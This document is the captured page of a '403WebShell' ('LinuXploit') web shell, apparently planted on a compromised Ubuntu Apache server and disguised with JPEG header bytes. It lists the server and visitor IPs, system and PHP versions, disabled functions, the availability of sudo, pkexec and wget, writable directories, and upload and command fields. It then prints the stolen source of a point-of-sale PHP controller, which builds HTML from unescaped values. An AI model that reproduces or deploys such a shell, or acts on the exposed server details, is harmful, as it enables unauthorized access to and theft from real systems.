����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.227.134.222
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/salesCredit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/salesCredit/c_pos.php
<?php
session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");
function display_to_sql($date){
	return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2);
}
$method=$_POST['method'];
if( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) )
{
	$pos = new pos();
	$menu = $pos->getSubMenuById(6);
	$menu_log = $menu[1];

	if($method == 'get_subtotal'){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getSubTotalTempSale($kasir,$uniqid);
		$result = array();
		$result['result'] = $array[0];
		$result['subtotal']= number_format($array[1],2);
		echo json_encode($result);
	}

	if($method == 'get_trans_sale')
	{
		$first = display_to_sql($_POST['first']);
		$last	= display_to_sql($_POST['last']);
		$pos = new pos();
		$array = $pos->getTransSale($first,$last);
		$html='';
		$result = array();
		if($array[0] == true)
		{
			$i=1;
			foreach ($array[1] as $key) {

				if($key['sts']== 0)
				{
					$html .= '<tr class="strikeout">';
					$btn = 'delete';
				}else
				{
					$html .= '<tr >';
					$btn =  '<button  type="submit" sale_id="'.$key['sale_id'].'"  title="Delete Transaction" class="btn btn-danger btn-sm btndeletesale "  id="btndeletesale'.$key['sale_id'].'" name=""  ><i class="fa fa-remove"></i></button>';
				}
				$html .= '	<td class="tdstrike">'.$i.'</td>
				<td class="tdstrike">'.date('d/m/Y',strtotime($key['sale_date'])).'</td>
				<td class="tdstrike">'.$key['sale_id'].'</td>
				<td  class="tdstrike" style="text-align:right">$ '.number_format($key['paid'],2).'</td>
				<td class="tdstrike">'.$key['username'].'</td>
				<td class="tdstrike" style="min-width:80px">'.$btn.'</td>
				</tr>';
				$i++;
			}
			$result['hasil'] = $html;
		}
		echo json_encode($result);
	}

	if($method == 'check_tempsale'){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getSubTotalTempSale($kasir,$uniqid);
		$result = array();
		$hasil = $array[1];
		if($hasil >=1){
			$result['tempsale']=true;		
		}else
		{
			$result['tempsale']=false;
		}
		echo json_encode($result);
	}

	if($method == 'save_trans')
	{
		$sale_id = substr($_POST['sale_id'],0,7);
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		$total =  number_format($_POST['total'],2);
		$disc_prcn = $_POST['disc_prcn']; 
		$disc_rp = $_POST['disc_rp'];
		$note =  $_POST['note'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$id_user =  $_SESSION['pos_id'];
		$pos = new pos();

		$insert = $pos->saveSale($sale_id, $sale_date,$total,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note);
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = $insert[2];

		echo json_encode($retval);
	}
	
	if($method == 'save_trans2')
	{
		$sale_id = substr($_POST['sale_id'],0,7);
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		$id_client =  $_POST['id_client'];
		$total =  $_POST['total'];
		$disc_prcn = $_POST['disc_prcn']; 
		$disc_rp = $_POST['disc_rp'];
		$note =  $_POST['note'];
		$credit_amount = $_POST['credit_amount'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$id_user =  $_SESSION['pos_id'];
		$pos = new pos();

		$insert = $pos->saveSale2($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount);
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = $insert[2];

		echo json_encode($retval);
	}

	if($method == 'save_temptable')
	{
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$id_item = $_POST['id_item'];
		$pos = new pos();
		$result = array();
		$query = $pos->getItem($id_item);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $data['barcode'];
		$result['qty'] = 1;
		$result['unit'] = $data['unit'];
		$result['price'] = $data['price'];
		$result['discprcn'] = 0;
		$result['discrp'] = 0;

		$check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']);
		$jum = $check[1];
		
		//validamos precio mayor a cero
		if($result['price'] > 0 ){
			if($jum >=1)
			{
				$update = $pos->updateTempSale($kasir,$uniqid,$result['id_item']);
				$retval['result'] = $update[0];
				$retval['error'] = $update[1];
				$retval['promo'] = 	$NombrePromo;
			}
			else
			{
				$insert = $pos->saveTempSale2($kasir,$uniqid,$result['id_item'],$result['barcode'],$result['unit'],$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']);
				$retval['result'] = $insert[0];
				$retval['error'] = $insert[1];
				$retval['promo'] = 	$NombrePromo;
			}
		}else{
			$retval['msg'] = "mal";
		}	
		echo json_encode($retval);
	}
	
	if($method == 'save_temptable2')
	{
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$id_item = $_POST['id_item'];
		$pos = new pos();
		$result = array();
		$query = $pos->getItem3($id_item);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $data['barcode'];
		$result['qty'] = 1;
		$result['unit'] = $data['unit'];
		$result['price'] = $data['price'];
		$result['discprcn'] = 0;
		$result['discrp'] = 0;

		$check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']);
		$jum = $check[1];

		if($jum >=1)
		{
			$update = $pos->updateTempSale($kasir,$uniqid,$result['id_item']);
			$retval['result'] = $update[0];
			$retval['error'] = $update[1];
		}
		else
		{
			$insert = $pos->saveTempSale($kasir,$uniqid,$result['id_item'],	$result['barcode'],$result['unit'],$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']);
			$retval['result'] = $insert[0];
			$retval['error'] = $insert[1];
		}
		echo json_encode($retval);
	}

	if($method == 'reset_table'){
		$uniqid =  $_SESSION['pos_uniqid'];
		$iduser =  $_SESSION['pos_id'];
		$pos = new pos();
		$reset = $pos->resetTempSaleByUserSession($iduser,$uniqid);
		$retval['result'] = $reset[0];
		$retval['error'] = $reset[1];
		echo json_encode($retval);
	}

	if($method == 'deletedetail'){

		$id_item = $_POST['id_item'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$delete = $pos->deleteTempSaleProduct($kasir,$uniqid,$id_item);
		$retval['result'] = $delete[0];
		$retval['error'] = $delete[1];
		echo json_encode($retval);
	}

	if($method == 'updatedetail'){
		$value=$_POST['nilai'];
		$jenis = $_POST['jenis'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$key = explode('|', base64_decode($_POST['key']));
		$id_item = $key[0];
		$unit = $key[1];
		if($jenis == 'hargajual')
		{
			$update = $pos->updateTempSaleHargaSale($kasir,$uniqid,$id_item ,$value);
		}
		else if($jenis == 'qty')
		{
			$update = $pos->updateTempSaleQty($kasir,$uniqid,$id_item ,$value);
		}
		else if($jenis == 'disc')
		{
			$update = $pos->updateTempSaleDisc($kasir,$uniqid,$id_item ,$value);
		}
		else
		{
			echo 'error';
		}
		$retval['result'] = $update[0];
		$retval['error'] = $update[1];
		echo json_encode($retval);
	}
	if($method == 'getdata' ){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getListTempSale($kasir,$uniqid);
		$data = $array[1];
		$i=0;
		foreach ($data as $key) {
			$keys = $key['id_item'].'|'.$key['unit'];
			$keys = base64_encode($keys);
			$total = ($key['price'] - ($key['price'] * $key['discprc'] /100) ) * $key['qty'] ;
			$data[$i]['price'] = '<a href="#" class="editparam" key="'.$keys.'"  datatitle="Harga Sale" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a>';		
			$data[$i]['qty'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Qty" dataparam="qty" val="'.number_format($key['qty']).'">'.number_format($key['qty']).' '.$key['unit'].'</a>';
			$data[$i]['discprc'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Discount" dataparam="disc" val="'.number_format($key['discprc'],2).'">'.number_format($key['discprc'],2).'</a>';

			$data[$i]['subtotal'] = '<span class="csubtotal">'.number_format($total,2)."</span>";
			$data[$i]['button'] = '<button  type="submit" id_item="'.$key['id_item'].'" unit="'.$key['unit'].'"   class="btn btn-primary btndelete btn-sm"  id="btndeletes'.$key['id_item'].'"   ><i class="fa fa-remove"></i></button>';
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}

	if($method == 'delete_trans')
	{
		$sale_id = $_POST['sale_id'];
		$username = $_SESSION['pos_username'];
		$notehapus = 'Deleted by : '.$username.' ,at : '.date("l jS \of F Y h:i:s A");
		$pos = new pos();
		$array = $pos->deleteSale($sale_id,$notehapus);
		$data['result'] = $array[0];
		$data['error'] = $array[1];
		echo json_encode($data);
	}
	
	//actualizacion 2021 
	
	if($method == 'save_temptable3')
	{
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$id_item = $_POST['id_item'];
		
		$pos = new pos();
		$result = array();
		$query = $pos->getItem3($id_item);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $data['barcode'];
		$result['price'] = $data['price'];

		
		//Consultar product
		$bar = $result['barcode'];
		$posP = new pos();
		$queryP = $posP->getIdProduct($bar);
		$data2 = $queryP[1];
		//id producto
		$resultP = $data2['id'];
		//barcode de producto
		$resultB = $data2['barcode'];
		
		//Consultar Compras
		$posC = new pos();
		$queryC = $posC->getItemCompras($resultP);
		$data3 = $queryC[1];
		$resultC = $data3['compras'];
		
		//Consultar Ordenes de Compras
		$posC2 = new pos();
		$queryC2 = $posC2->getItemCompras2($resultB);
		$data3a = $queryC2[1];
		$resultC2 = $data3a['Ocompras'];
		
		//SUMAMOS OC Y Compras
		$resultC= $resultC2 + $resultC;
		
		//Consultar Ajustes
		$posM = new pos();
		$queryM = $posM->getItemMerma($resultP);
		$dataX = $queryM[1];
		$resultM = $dataX['merma'];
		
		//Consultar Ventas
		$posV = new pos();
		$queryV = $posV->getItemVentas($bar);
		$data4 = $queryV[1];
		$resultV = $data4['ventas'];
		
		//Consultar Devoluciones
		$posD = new pos();
		$queryD = $posD->getItemDev($resultP);
		$data5 = $queryD[1];
		$resultD = $data5['dev'];
		
		//existencias actuales agregando ordenes de compra
		$resultE = $resultC - $resultV + $resultD - $resultM;
		
		$insert = $pos->saveTempSaleE($kasir,$uniqid,$result['id_item'],$result['barcode'],$result['item_name'],$result['price'],$resultC,$resultV, $resultD, $resultM, $resultE);	
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		
		echo json_encode($retval);
		
	}
	
	if($method == 'getdata2' ){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		//consulta del registro del producto
		$pos = new pos();
		$array = $pos->getListTempSale2($kasir,$uniqid);
		$data = $array[1];
		//consulta de las ventas
		$i=0;
		foreach ($data as $key) {
			$keys = $key['id_item'];
			$keys = base64_encode($keys);
			$data[$i]['price'] = '<a href="#" align="center" class="editparamE" key="'.$keys.'"  datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a> ';		
											
			$data[$i]['prices'] = '<button type="submit" title="Existencia Actual" class="btn btn-default ">
			<a href="#" class="btnPedir" key="'.$keys.'"  datatitle="Existencia Actual" id="btnPedir" dataparam="prices" val="'.$key['barcode'].'">'.number_format($key['existencia'],2).' <i class="fa fa-bars"></i></a>
			</button>';
		
			$data[$i]['qty'] = '<a href="#" class="editparamE" key="'.$keys.'" datatitle="Ventas" dataparam="qty" val="'.number_format($key['compras'],2).'">'.number_format($key['compras'],2).'</a>';
			$data[$i]['discprc'] = '<a href="#" class="editparamE" key="'.$keys.'" datatitle="Compras" dataparam="disc" val="'.number_format($key['ventas'],2).'">'.number_format($key['ventas'],2).'</a> ';

			$data[$i]['subtotal'] = '<span class="unit">'.number_format($key['dev'],2)."</span>";
			$data[$i]['merma'] = '<span class="unit2">'.number_format($key['ajustes'],2)."</span>";
			
			$data[$i]['button'] = ' <button  type="submit" id_item="'.$key['id_item'].'" unit="pz"   class="btn btn-danger btndelete2 btn-sm"  id="btndeletes'.$key['id_item'].'"   ><i class="fa fa-remove"></i></button>';
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}
	
	if($method == 'deletedetail2'){

		$id_item = $_POST['id_item'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$delete = $pos->deleteTempSaleProduct2($kasir,$uniqid,$id_item);
		$retval['result'] = $delete[0];
		$retval['error'] = $delete[1];
		echo json_encode($retval);
	}

} else {
	exit('No direct access allowed.');
}


?>


Youez - 2016 - github.com/yon3zu
LinuXploit